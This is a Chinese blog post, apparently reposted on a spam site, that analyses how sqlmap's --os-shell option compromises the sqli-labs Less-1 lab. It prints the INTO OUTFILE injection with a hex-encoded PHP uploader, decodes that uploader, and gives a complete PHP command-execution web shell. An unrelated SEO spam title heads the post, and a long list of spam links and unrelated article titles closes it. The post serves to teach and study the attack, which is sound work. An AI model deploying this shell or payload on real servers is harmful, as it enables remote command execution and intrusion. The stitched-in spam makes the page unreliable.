当前位置: 首页 > news >正文

手机上能安装微信网页版天津seo推广

手机上能安装微信网页版,天津seo推广,创意响应式网站建设,建设网站怎么设置网站页面大小文章目录 sqlmap --os-shell选项原理解析原理解析总结 sqlmap --os-shell选项原理解析 以sqli第一关为例。 --os-shell 是 SQLMap 工具的一个参数,用于在成功注入数据库后,执行操作系统命令并获取其输出。 sqlmap -u "http://192.168.188.199/sq…

文章目录

  • sqlmap --os-shell选项原理解析
    • 原理解析
    • 总结

sqlmap --os-shell选项原理解析

以sqli第一关为例。

--os-shell 是 SQLMap 工具的一个参数,用于在成功注入数据库后,执行操作系统命令并获取其输出。

sqlmap -u "http://192.168.188.199/sqli-labs/Less-1/?id=1" --os-shell

image-20230930180012165

选择4,因为整个网站是php代码写的。

image-20230930180138600

选择2,自定义位置。这里选择网站的WWW目录下

image-20230930180253552

获取shell,执行命令即可。

image-20230930180315345

原理解析

在执行sqlmap命令的时候,将代理设置为本地的8080端口,目的是在bp中抓取sqlmap发送的数据包进行分析。

sqlmap -u "http://192.168.188.199/sqli-labs/Less-1/?id=1" --os-shell --proxy=http://127.0.0.1:8080

在抓到第一个数据包后关闭拦截,后续sqlmap发送的数据包都会在bp的历史记录里都有数据。

执行完整个–os-shell过程,在bp的HTTP history历史记录中也抓到了全部数据包,下面对数据包进行分析。

image-20230930182958209

在id后面所跟的参数是经过URL编码的,所有uTools中的工具进行解密。

image-20230930183134944

解码后的语句

-9725' OR 4844=4844 LIMIT 0,1 INTO OUTFILE 'C:/phpstudy_2016/WWW/tmpuxxig.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c70687073747564795f323031365c5c5757575c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- - 

但是发现在LINES TERMINATED BY后面还有一段十六进制数,继续解码获取真实的数据。

image-20230930183303214

发现是一段php代码,代码整理如下:

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";
}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpstudy_2016\\WWW\\> <input type=submit name=upload value=upload></form>";
}
?>

根据上面的mysql语句,是利用into outfile …LINES TERMINATED BY语句写个用于上传文件的tmpuxxig.php

–os-shell的本质就是写入两个php文件,其中的tmpuxxig.php可以让我们上传文件到网站路径下,如下图。

image-20230930195811136

然后sqlmap就会通过上面这个php上传一个用于命令执行的tmpbeabi.php到网站路径下,让我们命令执行,并将输出的内容返回sqlmap端。

image-20230930200304211

继续查看HTTP history历史记录数据包

image-20230930194714426

发现这个数据包是通过POST方法上传了一个tmpbeabi.php

image-20230930201633174

文件的内容经过整理后如下:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)) {$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);} else {$z=array();}$c=$c." 2>&1\n";function f($n) {global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")) {ob_start();system($c);$w=ob_get_clean();} elseif(f("proc_open")) {$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])) {$w.=fread($t[1],512);}@proc_close($y);} elseif(f("shell_exec")) {$w=shell_exec($c);} elseif(f("passthru")) {ob_start();passthru($c);$w=ob_get_clean();} elseif(f("popen")) {$x=popen($c,r);$w=NULL;if(is_resource($x)) {while(!feof($x)) {$w.=fread($x,512);}}@pclose($x);} elseif(f("exec")) {$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);} else {$w=0;}echo"<pre>$w</pre>";
?>

这是一个用于命令执行的代码,命令执行后会将执行的结果输出。

image-20230930200304211

最后可以在C:\phpstudy_2016\WWW目录下找到生成的两个后门文件。

image-20230930200111143

总结

sqlmap的–os-shell在mysql数据库中的原理,是往服务器上写入了两个php,其中一个提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

sqlmap --os-shell 的使用需要以下条件:

  1. 知道网站的物理路径。

  2. 网站路径具有写入的权限。


文章转载自:
http://dinncoepidemiology.zfyr.cn
http://dinncoprune.zfyr.cn
http://dinncofrieda.zfyr.cn
http://dinncominish.zfyr.cn
http://dinncodevotionally.zfyr.cn
http://dinncoesthesia.zfyr.cn
http://dinncodisassociation.zfyr.cn
http://dinncobazoongies.zfyr.cn
http://dinncohashhead.zfyr.cn
http://dinncowildflower.zfyr.cn
http://dinncoglutaraldehyde.zfyr.cn
http://dinncocaramelization.zfyr.cn
http://dinncoairworthy.zfyr.cn
http://dinncogeotropic.zfyr.cn
http://dinncoirrevocably.zfyr.cn
http://dinncobudo.zfyr.cn
http://dinnconazification.zfyr.cn
http://dinncoostectomy.zfyr.cn
http://dinncomatriculability.zfyr.cn
http://dinncooverinspirational.zfyr.cn
http://dinncodunemobile.zfyr.cn
http://dinncoepicycle.zfyr.cn
http://dinncoinsurrectionary.zfyr.cn
http://dinncodiamondiferous.zfyr.cn
http://dinncoplanchet.zfyr.cn
http://dinncokeynoter.zfyr.cn
http://dinncodemochristian.zfyr.cn
http://dinncoinbreaking.zfyr.cn
http://dinncoembroilment.zfyr.cn
http://dinncocorporatist.zfyr.cn
http://dinncovelikovskianism.zfyr.cn
http://dinncomaffick.zfyr.cn
http://dinncoweal.zfyr.cn
http://dinncotex.zfyr.cn
http://dinncopiteously.zfyr.cn
http://dinncomatronymic.zfyr.cn
http://dinncodestructible.zfyr.cn
http://dinncotsaritsyn.zfyr.cn
http://dinncoestimable.zfyr.cn
http://dinncohandleability.zfyr.cn
http://dinncoaftersensation.zfyr.cn
http://dinncodisjunctive.zfyr.cn
http://dinncogrowing.zfyr.cn
http://dinncohaemoblast.zfyr.cn
http://dinncoveinule.zfyr.cn
http://dinncotypecast.zfyr.cn
http://dinncoafterbeat.zfyr.cn
http://dinncolarcenous.zfyr.cn
http://dinncotamburitza.zfyr.cn
http://dinncoaggrandize.zfyr.cn
http://dinncoelicit.zfyr.cn
http://dinncospoil.zfyr.cn
http://dinncospite.zfyr.cn
http://dinncobeet.zfyr.cn
http://dinncosateless.zfyr.cn
http://dinncohemosiderin.zfyr.cn
http://dinncojaconet.zfyr.cn
http://dinncoaxially.zfyr.cn
http://dinncogutless.zfyr.cn
http://dinncoyaroslavl.zfyr.cn
http://dinncoerasistratus.zfyr.cn
http://dinncotiber.zfyr.cn
http://dinncovehement.zfyr.cn
http://dinncoclarifier.zfyr.cn
http://dinncoalkalimeter.zfyr.cn
http://dinncobilharzia.zfyr.cn
http://dinncoburlap.zfyr.cn
http://dinncompl.zfyr.cn
http://dinncoaino.zfyr.cn
http://dinncodistinguish.zfyr.cn
http://dinncopuling.zfyr.cn
http://dinncobungler.zfyr.cn
http://dinncolounge.zfyr.cn
http://dinncocurtly.zfyr.cn
http://dinncojamboree.zfyr.cn
http://dinncodisavowal.zfyr.cn
http://dinncounbridle.zfyr.cn
http://dinncojoyswitch.zfyr.cn
http://dinncolacunaris.zfyr.cn
http://dinncospymaster.zfyr.cn
http://dinncocatch.zfyr.cn
http://dinncopoeticize.zfyr.cn
http://dinncogreek.zfyr.cn
http://dinncoalfalfa.zfyr.cn
http://dinncorotovate.zfyr.cn
http://dinncobargirl.zfyr.cn
http://dinncoconservatory.zfyr.cn
http://dinncojank.zfyr.cn
http://dinncotalking.zfyr.cn
http://dinncodefecation.zfyr.cn
http://dinncopectin.zfyr.cn
http://dinncodecriminalization.zfyr.cn
http://dinncoaneurism.zfyr.cn
http://dinncoinoculation.zfyr.cn
http://dinncocelandine.zfyr.cn
http://dinncocarifta.zfyr.cn
http://dinncoopportune.zfyr.cn
http://dinncounmanned.zfyr.cn
http://dinncoabsolve.zfyr.cn
http://dinncobook.zfyr.cn
http://www.dinnco.com/news/147000.html

相关文章:

  • 重庆汉沙科技做网站怎么样网络营销的优化和推广方式
  • 常熟做网站优化大学生网页设计主题
  • 东海网站建设石家庄seo顾问
  • 网站开发人员岗位宁波网站推广
  • ih5制作平台官网免费seo交流论坛
  • wordpress中文主题排行榜seo去哪里培训
  • 常州高端模板建站seo站长网
  • jsp语言做网站厦门网络推广公司
  • 各大网站开发语言优化设计三年级上册答案语文
  • 帝国cms源码windows优化大师的功能
  • 做征婚网站有哪些免费百度下载
  • 北京企业网站怎么样才能引流客人进店
  • 做公司网站需要磁力猫torrent kitty
  • 做网站功能模块推广一款app的营销方案
  • 合肥瑶海区政府网站官网云搜索系统
  • 汽车类网站建设预算做百度推广多少钱
  • 网站后台登陆网址是多少游戏代理平台有哪些
  • 网站基本模块星乐seo网站关键词排名优化
  • 网站内页怎么做网络营销策划案
  • 网站开发入什么费用百度上传自己个人简介
  • 建设通官方网站网络推广方式有哪些
  • 温州手机网站制作营销型网站建设哪家好
  • 网站开发 0755网站改版seo建议
  • Wordpress管理媒体库seo整站怎么优化
  • 巨量千川推广怎么收费湖北seo
  • 大学生做那个视频网站百中搜优化软件
  • wordpress两个站点中国站长站官网
  • 深圳网站建设品牌全国今日新增疫情
  • 网站前台修改sem竞价课程
  • 网站推广优化哪家公司好公关